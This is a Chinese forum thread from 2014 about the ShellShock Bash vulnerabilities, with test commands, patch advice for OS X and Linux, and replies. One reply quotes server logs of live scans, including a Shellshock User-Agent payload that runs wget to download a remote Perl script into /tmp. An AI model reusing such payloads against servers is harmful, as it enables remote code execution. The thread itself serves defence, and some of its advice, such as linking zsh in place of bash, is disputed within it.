安全 【已更新】ShellShock 漏洞及 OS X 紧急修复方法

pengedy · 2014年09月25日 · 最后由 msg7086 回复于 2014年10月03日 · 12487 次阅读
本帖已被管理员设置为精华贴

资料更新

CVE-2014-6127 的公开被视为 ShellShock,而这几天真是“余震”不断。非常遗憾的告诉大家,目前一共上报了 5 个相关的 Bug:

  • CVE-2014-6127
  • CVE-2014-7169
  • CVE-2014-7186
  • CVE-2014-7187
  • CVE-2014-6277(细节尚未公开)

下面是一些相关资料:

关于 ShellShock:CVE-2014-6271

一个被指比“心脏出血”还要严重的 Linux 安全漏洞被发现,尽管还没有发现利用该漏洞进行的攻击,但是比“心脏出血”更低的操作门槛让它比前者更加危险。

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution.

如何验证

在终端中运行下面的命令:

# CVE-2014-6271
$ env x='() { :;}; echo vulnerable' bash -c 'echo hello'

# CVE-2014-7169
$ cd /tmp; rm -f /tmp/echo; env 'x=() { (a)=>\' bash -c "echo date"; cat /tmp/echo

其中:

  • CVE-2014-6271:返回中含有 vulnerable 说明中枪。
  • CVE-2014-7169:返回中含有类似 Sat Sep 27 03:58:41 CST 2014 这样的时间说明中枪。

把命令中的 bash 替换成其他类型的 shell,可以检查机器上其他 shell 是否中枪。

修复 Bug

【重要】用 Mac 的童鞋在更新后别忘了把旧的bashsh取消运行权限:

# 根据实际路径及文件名
$ sudo chmod a-x /bin/bash.old /bin/sh.old

【重要】有人偷懒,用其他的 shell 去替换 bash,这样不靠谱,一是这样做就是自己给别人留后门,二是其他的 shell 也存在这样的 Bug。

感谢: @williamherry 最早贡献出 Bug 的应用实例 @Tony612 提醒新的 Bug 出现 https://ruby-china.org/topics/21742

[1]:http://en.wikipedia.org/wiki/Shellshock_software_bug)(

zsh ...中枪

#1 楼 @hbin 哪个版本?我的 5.0.2 和 5.0.5 都好好的。

我的 bash 已经躺枪

win 终于胜出一局

#2 楼 @PengEdy OS X 吗?即使你 zsh 好好的,系统自带的 bash 也应该中枪了

#5 楼 @serco 对的,我已经更新过了。咱可不想等到 Apple 官方出 patch 后再动手...

server 已经堵住了 sudo apt-get update && sudo apt-get install bash

zsh 没问题...bash 中招了...不过 bash 只要在就能用这招。。。

archlinux 更新了下 bash 就堵住了……

擦,中枪 +1...

10 楼 已删除

#7 楼 @hammer 我也更新了,这更新有用吗?

这么通过补丁编译啊,系统版本太老,不支持 apt-get 更新了

其实直接这样就搞定了吧

ln -s zsh bash

不过这个是不完全修复,除了这个,还要注意CVE-2014-7169,但这个目前好像还没有好的 patch,有个 proposed 的 patch,应该之后打了这个就好了 https://launchpad.net/~ubuntu-security-proposed/+archive/ubuntu/ppa/+packages 具体可以参考 https://access.redhat.com/articles/1200223

#14 楼 @Tony612 确实是。我个人感觉补丁总会有一种“不靠谱”的感觉,所以还是很期待下个版本的 Bash。

brew update 就可以啦~~

已中枪...已修复。

209.126.230.72 - - [25/Sep/2014:08:31:21 +0800] "GET / HTTP/1.0" 200 4710 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"

109.95.210.196 - - [26/Sep/2014:01:28:12 +0800] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 200 4710 "-" "() { :;}; /bin/bash -c \x22/usr/bin/wget http://singlesaints.com/firefile/temp?h=hepaimusic.com -O /tmp/a.pl\x22"

54.251.83.67 - - [26/Sep/2014:11:34:24 +0800] "GET / HTTP/1.1" 200 4710 "-" "() { :;}; /bin/bash -c \x22echo testing9123123\x22; /bin/uname -a"

我的服务器已经发现有人在扫了 第一行看起来没有恶意,第二行就看起来恶意满满的

怎么通过补丁编译更新啊,系统版本太老,不支持 apt-get 更新了

#22 楼 @windstill 大概过程是这样的:

  • 下载 Bash 源代码
  • 下载相应版本的 Patch 并打上
  • 编译并检验
  • 替换系统内原有bashsh文件

相关命令在贴子里的 OS X 修复办法里有提到,只不过 Mac 上要用到xcodebuild,而 Linux 下应该先./configuremake吧。

【重要】有人偷懒,用其他的 shell 去替换 bash,这样不靠谱,一是这样做就是自己给别人留后门,二是其他的 shell 也存在这样的 Bug。

结论没问题,但第二点,“其他的 shell 也存在这样的 Bug”是怎么来的?

#24 楼 @dorentus 见过有网友说在某些版本的 zsh 上发现相同问题。另外你看一楼。

亲,更新一下你的帖子吧。。又有 CVE-2014-7186 和 CVE-2014-7187 了, http://en.wikipedia.org/wiki/Shellshock_(software_bug)#CVE-2014-7186_vulnerability_details (贴成链接的话,格式会乱)。应该还是升级 bash 就行了

小题大做了,这里还有人用 CGI 么?另外,真有用 CGI 的你们有用 bash 写 CGI 么? Dhclient 的问题大些,但是现在有几个人用这个呢?服务器一般是固定地址,就算是用 dhcp 的也多数在用 NetworkManager,而且很多系统的缺省 sh 早都是 dash 了,bash 只不过是个交互的 shell。

一般的 Mac 用户就更没有影响了 你都不跑服务 哪里来的问题呢?

#28 楼 @mengbo 后来想了想,确实是你说的这样。最开始发帖的时候,全球都在震惊恐慌中,我也不例外。

#27 楼 @mengbo 这个漏洞不需要用 bash 写 cgi

苹果称 Bash 漏洞对绝大多数 Mac 电脑没有影响

苹果发言人比尔·埃文斯 (Bill Evans) 表示:“绝大多数 OS X 用户不会处于风险中。”他表示,苹果既然出货了电脑,那么“默认情况下就是安全的”,意味着不会易于受到远程攻击,除非用户自己将设备配置成“高级”Unix 服务。

#30 楼 @msg7086 ???是啊 其他程序调用 bash 也会出问题 但有几个人直接在 web 应用中直接调用 bash?如果真有这类程序当然要注意了,不过估计真没有几个这样的应用。

#32 楼 @mengbo web server 调用 cgi 程序的时候不会走 sh 吗

#33 楼 @msg7086 ???如果用 perl 写的 CGI 关 shell 神马事情? 再说,debian 系的系统 sh 早就不是 bash 了,bash 只是用户交互的 shell。

#34 楼 @mengbo 我可能说得不太对。

调用 perl 脚本的时候难道不是用 sh 启动的么

另外,很多发行版还没换 dash 呢

#35 楼 @msg7086 是的,你说的不对,调用什么脚本就用什么解释器,根本不需要 sh。 #!/usr/bin/perl

#36 楼 @mengbo 我一直以为 hashbang 标记是由 sh 来负责解析的。

tony612 【Shellshock 更新】CVE-2014-7169 Bash 漏洞 提及了此话题。 04月03日 10:57
需要 登录 后方可回复, 如果你还没有账号请 注册新账号